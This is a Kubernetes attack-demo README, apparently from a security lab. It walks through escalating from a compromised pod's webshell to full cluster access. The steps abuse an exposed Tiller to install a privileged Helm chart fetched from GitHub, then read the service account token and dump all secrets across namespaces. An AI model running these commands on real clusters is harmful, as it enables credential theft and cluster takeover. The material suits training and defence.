This scenario demonstrates the potential for privilege escalation and lateral movement as a result of a pod compromise in a Kubernetes cluster with commonly-found configurations leading to full cluster access.
NOTE: This scenario will run a compromised container with root access, and it set for demo purposes only. We strongly recommend NOT RUNNING IT ON A LIVE CLUSTER
Make sure your cluster is setup following the instructions here
- Apply the yaml located the in compromised-container
kubectl apply -f compromised-container/installation.yaml
- Create a local proxy to reach the "exposed" dashboard service:
kubectl port-forward service/dashboard 8080:8080
- Visit the dashboard by opening http://localhost:8080.
- Navigate to /webshell and provide the basic auth credentials.
- Download kubectl
export PATH=/tmp:$PATH
cd /tmp; curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl; chmod +x kubectl
- Look for tiller deployment running in
kube-system
namespace
curl -v tiller-deploy.kube-system:44134
- Download the Helm client binary
cd /tmp; curl -so helm.tar.gz https://get.helm.sh/helm-v2.16.1-linux-amd64.tar.gz; tar zxvf helm.tar.gz; chmod +x linux-amd64/helm; cp linux-amd64/helm .
- Run
helm ls
to test access to tiller
helm version --host=tiller-deploy.kube-system:44134
export HELM_HOST=tiller-deploy.kube-system:44134; helm ls
- install privileged workload via Helm
curl -sLO https://github.com/bgeesaman/nginx-test/archive/v1.0.0.tar.gz
helm install v1.0.0.tar.gz
- Access the webshell with curl and run commands in the privileged pod as cluster-admin to get the newly created pod's service account token
curl -XPOST -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" nginx-test.default:8080
- Get a list of all secrets in all namespaces
curl -XPOST -d "cmd=kubectl get secrets -A" nginx-test.default:8080
- Get all secrets
curl -XPOST -d "cmd=kubectl get secrets -A -o yaml" nginx-test.default:8080
________ ________
/ _____/_____ _____ ____ \_____ \___ __ ___________
/ \ ___\__ \ / \_/ __ \ / | \ \/ // __ \_ __ \
\ \_\ \/ __ \| Y Y \ ___/ / | \ /\ ___/| | \/
\______ (____ /__|_| /\___ > \_______ /\_/ \___ >__|
\/ \/ \/ \/ \/ \/
To cleanup run
kubectl delete -f compromised-container/